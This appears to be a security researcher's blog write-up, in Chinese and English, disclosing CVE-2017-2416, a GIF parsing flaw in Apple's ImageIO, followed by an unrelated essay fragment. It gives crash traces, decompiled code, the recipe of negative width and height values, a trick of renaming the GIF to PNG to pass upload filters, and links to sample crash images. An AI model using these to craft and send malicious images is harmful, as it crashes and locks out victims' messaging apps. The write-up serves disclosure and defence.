    0x7fff9557f1b8 <+80>: xor    eax, eax Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   com.apple.ImageIO.framework        0x00007fffa144d1ab IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
1   com.apple.ImageIO.framework        0x00007fffa14b8c93 GIFReadPlugin::InitProc(CGImagePlugin*, unsigned long, unsigned long) + 59
2   com.apple.ImageIO.framework        0x00007fffa14177da IIOImageSource::makeImagePlus(unsigned long, __CFDictionary const*) + 252
3   com.apple.ImageIO.framework        0x00007fffa141918b IIOImageSource::getPropertiesAtIndexInternal(unsigned long, __CFDictionary const*) + 57
4   com.apple.ImageIO.framework        0x00007fffa141911c IIOImageSource::copyPropertiesAtIndex(unsigned long, __CFDictionary const*) + 98
5   com.apple.ImageIO.framework        0x00007fffa13f03ca CGImageSourceCopyPropertiesAtIndex + 181
6   com.apple.AppKit                   0x00007fff9cfdbcae +[NSBitmapImageRep _imagesWithData:hfsFileType:extension:zone:expandImageContentNow:includeAllReps:] + 543
7   com.apple.AppKit                   0x00007fff9cfdba68 +[NSBitmapImageRep _imageRepsWithData:hfsFileType:extension:expandImageContentNow:] + 93
8   com.apple.AppKit                   0x00007fff9d4bf08e -[NSImage _initWithData:fileType:hfsType:] + 479

在苹果平台上,基本所有的图像解析功能最后都会调用[NSImage _initWithData:fileType:hfsType:], 随后IIOImageSource将图像的解析根据图像头特征分配到对应的plugin中。注意这里并不是基于文件扩展名做的判断,所以后续我们可以通过这个特性绕过过滤实现利用。

漏洞样例图片

如果把它拖动到任意macos/iOS app中的时候崩溃了,那么你的系统受该漏洞影响,赶快升级吧。 测试样例文件下载:Sample PNG Sample GIF 仅供自测使用,请勿用于非法用途例如发送给他人。

漏洞分析

漏洞的一个源头在GIFReadPlugin::init函数中,观察如下反汇编代码:

  v32 = (signed __int16)width * (signed __int64)height;
  if ( v32 > filesize * 1100 * v29 )
  {
    LOBYTE(aspectbyte) = 0;
    v15 = 0LL;
    if ( this->gapC0[8] )
    {
      LOBYTE(aspectbyte) = 0;
      LogError(
        "init",
        498,
        "malformed GIF file (%d x %d) - [canvasSize: %ld  fileSize: %ld   ratio: %d]  \n",
        (unsigned int)(signed __int16)width,
        (unsigned int)(height),    // width >> 16 is height
        (signed __int16)width * (signed __int64)SHIWORD(width),
        filesize,
        v32 / filesize);
      v15 = 0LL;
    }
    goto LABEL_71;
  }
__text:00000000000CC51F                 movsx   rax, r9w
__text:00000000000CC523                 mov     ecx, r9d
__text:00000000000CC526                 shr     ecx, 10h
__text:00000000000CC529                 movsx   rbx, cx
__text:00000000000CC52D                 imul    rbx, rax
__text:00000000000CC531                 imul    rdx, r12, 44Ch
__text:00000000000CC538                 mov     rax, rdx
__text:00000000000CC53B                 imul    rax, rsi
__text:00000000000CC53F                 cmp     rbx, rax

一个攻击者可以构造负数的高度和长度,bypass掉对filesize的比较,造成后续内存越界访问。一般来讲攻击者可以通过手动构造图片输入流/hook进行发送,或者通过app服务自身提供的web服务来进行发送。前面提到过ImageIO解析图片的时候并不是通过判断扩展名来进行的,通过这个特性我们可以同样bypass一些web图片上传界面的过滤,将恶意图片成功发送到对方设备上,粗发漏洞。

相对来讲稍微令人诧异的是苹果的修复。补丁并没有打在size比较这里,而是打在了IIOReadPlugin这里。在补丁之前,IIOReadPlugin的关键代码如下所示:

bool __fastcall IIOReadPlugin::IIOReadPlugin(IIOReadPlugin *a1, __int64 a2, int a3, int a4, __int64 a5, unsigned __int8 a6)
{
    unsigned __int8 v6; // r14@1
    IIOReadPlugin *this; // rbx@1
    __int64 v8; // rax@1
    __int64 sessionwrap; // rdi@1
    IIOImageReadSession *session; // rax@2
    IIOImageRead *v11; // rdi@2
    __int64 v12; // rax@2
    __int64 *v13; // rcx@5
    __int64 v14; // rdx@5
    bool result; // al@5
    v6 = a6;
    this = a1;
    a1->vt = (__int64)off_1659D0;
    a1->field_8 = a2;
    v8 = *(_QWORD *)(a2 + 24);
    a1->field_10 = v8;
    a1->field_38 = a3;
    a1->field_3c = a4;
    a1->field_30 = a5;
    sessionwrap = *(_QWORD *)(v8 + 24);
    if ( sessionwrap )
    {
        session = (IIOImageReadSession *)CGImageReadSessionGetSession(sessionwrap); //session is invalid
        this->session = session;
        v11 = (IIOImageRead *)session->imageread; //oob happens here and lead to crash
        LOBYTE(session) = v11->field_40;
        this->field_20 = (__int64)v11;
        this->field_c8 = (char)session;
        v12 = 0LL;
        if ( v11 )
            v12 = IIOImageRead::getSize(v11);
    }
    else
    {
        this->field_20 = 0LL;
        this->session = 0LL;
        this->field_c8 = 1;
        v12 = 0LL;
    }

在10.12.4中,if分支语句变成了如下所示:

  a1->field_8 = cgimgplus;
  imageplus = CGImagePlusGetIPlus(cgimgplus);
  a1->field_10 = imageplus;
  a1->field_38 = v9;
  a1->field_3c = v8;
  a1->field_30 = v7;
  v12 = *(_QWORD *)(imageplus + 32);
  a1->field_18 = v12;
  imageread = *(IIOImageRead **)(v12 + 32);
  if ( imageread )
  {
    v10->field_c8 = *((_BYTE *)imageread + 64);
    v10->field_20 = (__int64)imageread;
    v14 = IIOImageRead::getSize(imageread);
  }
  else
  {
    v10->field_c8 = 0;
    v10->field_20 = 0LL;
    v14 = 0LL;
  }

IIOImageReadSession的使用在这里被移除了。这是否从根源上解决了问题?让我们拭目以待。

对开发者和用户的建议

对于想自行防御这个问题的开发者来说(毕竟有很多用户没有升级到最新版,锅还是会被他们扣在开发者头上),我建议在图片显示前先自行检查下GIF宽度和高度。

对于终端用户来讲,当然升级系统是最好的办法了。

Timeline

  • 2017.1.10 Initial discovery
  • 2017.1.16 Report to Apple
  • 2017.1.24 Apple responds on they are working on a fix
  • 2017.3.23 CVE-2017-2416 assigned
  • 2017.3.28 Advisory published at https://support.apple.com/zh-cn/HT207617
  • 2017.4.6 Public disclosure

CVE-2017-2416 Remote code execution triggered by malformed GIF in ImageIO framework, affecting most iOS/macOS apps

CVE-2017-2416 Remote code execution triggered by malformed GIF in ImageIO framework, affecting most iOS/macOS apps

ImageIO Available for: iPhone 5 and later, iPad 4th generation and later, iPod touch 6th generation and later

Impact: Processing a maliciously crafted image may lead to arbitrary code execution

Description: A memory corruption issue was addressed through improved input validation.

CVE-2017-2416: flanker_hqd of KeenLab, Tencent

Abstract

(For Chinese version of this writeup see https://blog.flanker017.me/cve-2017-2416-gif-rce-chn/)

Recently I’ve switched my main research focus back from Apple stuff to Android and browsers. While I was auditing a custom image parsing library written by some ppls, I transferred the test case image manipulated by 010editor via a popular IM messenger, and all of a sudden, the app crashed. I investigated the crash and found it is a issue in ImageIO library, and can be automatically triggered in all kinds of iOS/macOS apps that receives GIF images, especially the ones for instant messaging, such as Signal, Telegram, Slack, iMessage etc and Email clients such as Mail, Outlook, Inbox, Gmail, etc and even financial apps that want to be an IM such as Alipay. All these apps will crash on receiving the malicious GIF.

I haven’t test Twitter, but should you find a way to post the malformed GIF online (which I think can be done by manipulated the post stream to bypass the frontend filtering, but I was too busy to try that), the client should also crash as well.

What make things worse is that many clients will automatically reload and reparse the image on open, triggering the vulnerability again and again, lead to infinite loop and eliminating the need for attacker to persistent – -b

DEMO video1

The first video demonstrates receiving malformed gif file via iMessage lead to crash

DEMO video2

the second video demonstrates persistence (user cannot open iMessage anymore…)

Crash trace

* thread #1: tid = 0x17570, 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
    frame #0: 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
ImageIO`IIOReadPlugin::IIOReadPlugin:
->  0x7fff9557f1ab <+67>: mov    al, byte ptr [rdi + 0x40]
    0x7fff9557f1ae <+70>: mov    qword ptr [rbx + 0x20], rdi
    0x7fff9557f1b2 <+74>: mov    byte ptr [rbx + 0xc8], al
    0x7fff9557f1b8 <+80>: xor    eax, eax
Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   com.apple.ImageIO.framework        0x00007fffa144d1ab IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
1   com.apple.ImageIO.framework        0x00007fffa14b8c93 GIFReadPlugin::InitProc(CGImagePlugin*, unsigned long, unsigned long) + 59
2   com.apple.ImageIO.framework        0x00007fffa14177da IIOImageSource::makeImagePlus(unsigned long, __CFDictionary const*) + 252
3   com.apple.ImageIO.framework        0x00007fffa141918b IIOImageSource::getPropertiesAtIndexInternal(unsigned long, __CFDictionary const*) + 57
4   com.apple.ImageIO.framework        0x00007fffa141911c IIOImageSource::copyPropertiesAtIndex(unsigned long, __CFDictionary const*) + 98
5   com.apple.ImageIO.framework        0x00007fffa13f03ca CGImageSourceCopyPropertiesAtIndex + 181
6   com.apple.AppKit                   0x00007fff9cfdbcae +[NSBitmapImageRep _imagesWithData:hfsFileType:extension:zone:expandImageContentNow:includeAllReps:] + 543
7   com.apple.AppKit                   0x00007fff9cfdba68 +[NSBitmapImageRep _imageRepsWithData:hfsFileType:extension:expandImageContentNow:] + 93
8   com.apple.AppKit                   0x00007fff9d4bf08e -[NSImage _initWithData:fileType:hfsType:] + 479

Almost all image related functions on Apple platform calls down to [NSImage _initWithData:fileType:hfsType:], and IIOImageSource dispatches image parsing to corresponding plugin based on signature detection (note: not based on file extension). This feature will be useful afterwards.

Sample file to test if you’re vulnerable

Test image sample:

Sample PNG Sample GIF

Grab an image file and change the width/height field to both negative short whose unsigned form value larger than 0xff00.

Drag it into /send to any macos/iOS application and if it crashes, you’re vulnerable.

Analysis

The root cause seems to be at GIFReadPlugin::init function, in the following decompiled snippet:

  v32 = (signed __int16)width * (signed __int64)height;
  if ( v32 > filesize * 1100 * v29 )
  {
    LOBYTE(aspectbyte) = 0;
    v15 = 0LL;
    if ( this->gapC0[8] )
    {
      LOBYTE(aspectbyte) = 0;
      LogError(
        "init",
        498,
        "malformed GIF file (%d x %d) - [canvasSize: %ld  fileSize: %ld   ratio: %d]  \n",
        (unsigned int)(signed __int16)width,
        (unsigned int)(height),    // width >> 16 is height
        (signed __int16)width * (signed __int64)SHIWORD(width),
        filesize,
        v32 / filesize);
      v15 = 0LL;
    }
    goto LABEL_71;
  }
__text:00000000000CC51F                 movsx   rax, r9w
__text:00000000000CC523                 mov     ecx, r9d
__text:00000000000CC526                 shr     ecx, 10h
__text:00000000000CC529                 movsx   rbx, cx
__text:00000000000CC52D                 imul    rbx, rax
__text:00000000000CC531                 imul    rdx, r12, 44Ch
__text:00000000000CC538                 mov     rax, rdx
__text:00000000000CC53B                 imul    rax, rsi
__text:00000000000CC53F                 cmp     rbx, rax

An attacker can craft an image of negative height and weight, thus bypassing the check comparing to file size, lead to following out-of-bound. As I have mentioned above, the dispatching is based on file signature rather than file extension. I noticed some applications’ web interfaces have check on the size of GIF images, preventing me from spreading this POC to mobile apps. However they do not have check on PNG extension, allowing me to upload the malformed GIF image in PNG extension, bypassing the check and crashes whoever receives it.

While this does make sense, after Apple releases the fix I checked the new ImageIO binary and found the fix actually goes another way. Recall the crash happens in IIOReadPlugin::IIOReadPlugin, in the following pseudo code at 10.11.2/3:

bool __fastcall IIOReadPlugin::IIOReadPlugin(IIOReadPlugin *a1, __int64 a2, int a3, int a4, __int64 a5, unsigned __int8 a6)
{
    unsigned __int8 v6; // r14@1
    IIOReadPlugin *this; // rbx@1
    __int64 v8; // rax@1
    __int64 sessionwrap; // rdi@1
    IIOImageReadSession *session; // rax@2
    IIOImageRead *v11; // rdi@2
    __int64 v12; // rax@2
    __int64 *v13; // rcx@5
    __int64 v14; // rdx@5
    bool result; // al@5
    v6 = a6;
    this = a1;
    a1->vt = (__int64)off_1659D0;
    a1->field_8 = a2;
    v8 = *(_QWORD *)(a2 + 24);
    a1->field_10 = v8;
    a1->field_38 = a3;
    a1->field_3c = a4;
    a1->field_30 = a5;
    sessionwrap = *(_QWORD *)(v8 + 24);
    if ( sessionwrap )
    {
        session = (IIOImageReadSession *)CGImageReadSessionGetSession(sessionwrap); //session is invalid
        this->session = session;
        v11 = (IIOImageRead *)session->imageread; //oob happens here and lead to crash
        LOBYTE(session) = v11->field_40;
        this->field_20 = (__int64)v11;
        this->field_c8 = (char)session;
        v12 = 0LL;
        if ( v11 )
            v12 = IIOImageRead::getSize(v11);
    }
    else
    {
        this->field_20 = 0LL;
        this->session = 0LL;
        this->field_c8 = 1;
        v12 = 0LL;
    }
 And now apple changes the if-block in 10.12.4:
  a1->field_8 = cgimgplus;
  imageplus = CGImagePlusGetIPlus(cgimgplus);
  a1->field_10 = imageplus;
  a1->field_38 = v9;
  a1->field_3c = v8;
  a1->field_30 = v7;
  v12 = *(_QWORD *)(imageplus + 32);
  a1->field_18 = v12;
  imageread = *(IIOImageRead **)(v12 + 32);
  if ( imageread )
  {
    v10->field_c8 = *((_BYTE *)imageread + 64);
    v10->field_20 = (__int64)imageread;
    v14 = IIOImageRead::getSize(imageread);
  }
  else
  {
    v10->field_c8 = 0;
    v10->field_20 = 0LL;
    v14 = 0LL;
  }

Removing the usage of IIOImageReadSession in this function. Is it better than fixing the size change? Dunno.

Custom fix?

For app developers who want to mitigate this issue for users staying at old versions, I suggest check for negative width and height before passing to NSImage.

I believe this vulnerability is introduced in iOS 10, so iOS 9/OSX 10.11 users are not affected (how many ppls are still using iOS9? Raise your hands). For iOS 10/macOS 10.12 users, please upgrade to 10.3/10.12.4 for the official fix.

Timeline

  • 2017.1.10 Initial discovery
  • 2017.1.16 Report to Apple
  • 2017.1.24 Apple responds on they are working on a fix
  • 2017.3.23 CVE-2017-2416 assigned
  • 2017.3.28 Advisory published at https://support.apple.com/en-us/HT207617
  • 2017.4.6 Public disclosure

江湖夜话之消失的蓝光

这黑客的江湖,和古代的武林,似乎没什么两样。地铁上不起眼的一个胡子拉碴背包客,却可能掌握着屠龙倚天般的0day;在黑夜中行走的魔教众,暗暗操控着庞大的派系,靠着低微地伎俩却能吸噬着一个又一个受害人的血肉;名门正派林立,举旗匡扶正义,却往往陷于内斗之中而不可自拔,为了一两个微末的镖单自我吹捧或互相拆台,骂的你死我活,徒增笑柄。大辽往往技术了得,又有江湖修众做起了搬工的活计,从那大辽被墙掉的地方运来江湖内,当作自己的秘籍吹嘘,引来声声喝彩,讨几个赏钱。

处身于这纷乱的江湖,不少人却只想有一片静静的地方,修炼心法,领悟计算机科学的奥妙,与Linus同游,与Gates共悟,与Rubin(注:不是Robin)同赏。

修炼之法,不外乎阅读古代或者大辽传入的真经,以及实操真练。如The art of software assessment, Understanding the Linux Kernel, Windows InternalsA Guide to kernel exploitation, 抑或是一个叫Phrack的布经之地偶尔贴出的口诀,都是修众必读之经。自我感觉内力到达一定程度之后,便去练习地打小怪,比较出名的包括名为pwnable.kr的擂台,听说是上古神童Lokihart出道之地。大辽众喜分享,咕果修道院一名为Project Zero的修道团每每会放出真经注解,亦会万人空巷前去围观。修炼到一定程度之后,就会下山去打一个叫CTF的系列怪,最高级别叫DEFCON CTF,每年都有一批修众远渡重洋去那拉斯维加斯挑战,与卡耐基梅隆修院之PPP门派和宇宙棒子国之DEFKOR门派过招。

Continue reading